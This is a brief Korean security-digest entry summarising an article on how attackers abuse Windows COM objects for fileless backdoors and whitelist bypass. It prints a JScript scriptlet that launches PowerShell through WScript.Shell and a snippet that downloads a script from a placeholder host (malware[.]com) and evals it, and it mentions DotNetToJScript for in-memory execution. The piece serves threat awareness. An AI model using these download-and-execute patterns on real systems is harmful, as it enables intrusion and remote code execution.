[하루한줄] COM 객체를 활용한 백도어

URL

COM Objects P.1: The Hidden Backdoor in Your System

Target

  • Windows

Explain

지난 몇 년간, 해커들은 COM Object을 통해 fileless attack, defense 우회, 화이트리스트를 우회하고 RPC 프로토콜을 사용하여 내부에 침투하기도 했습니다. 해커들이 COM 객체를 통해 공격을 진행하는 방법은 다음과 같습니다.

먼저 Initial Access를 위한 COM 객체를 생성합니다. 내부 네트워크에 접근하기 위해서 페이로드를 전송할 수 있어야 합니다. COM Scriptlet을 통해 악성 자바스크립트나 VBScript를 다운로드하고 실행할 수 있습니다.

COM을 활용하여 악성 스크립트를 다운로드하고 실행하는 Scriptlet 코드는 다음과 같이 구성됩니다. 첫번째로 Shell에 접근합니다.

<script language="JScript">
<![CDATA[
var malware = new ActiveXObject("WScript.Shell").Run("powershell.exe ...");
]]>
</script>

ActiveXObject를 통해 WScript.Shell을 호출하여 명령을 실행할 수 있습니다. 그 다음 네트워크 통신을 통해 악성 스크립트 파일을 다운로드하고 실행합니다.

net = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
net.Open("GET", "http://malware[.]com/malware.js", false);
net.Send();
js = net.ResponseText;
eval(js);

.NET의 Serialization을 활용하여 위의 작업을 수행할 수 있습니다. System.Runtime.Serialization.Formatters.Binary.BinaryFormattersActiveXObject로 호출하면 객체를 base64로 인코딩할 수 있고 메모리에서 디코딩되어 메인 코드를 실행할 수 있습니다. 이는 DotNetToJScript를 통해 쉽게 활용할 수 있습니다.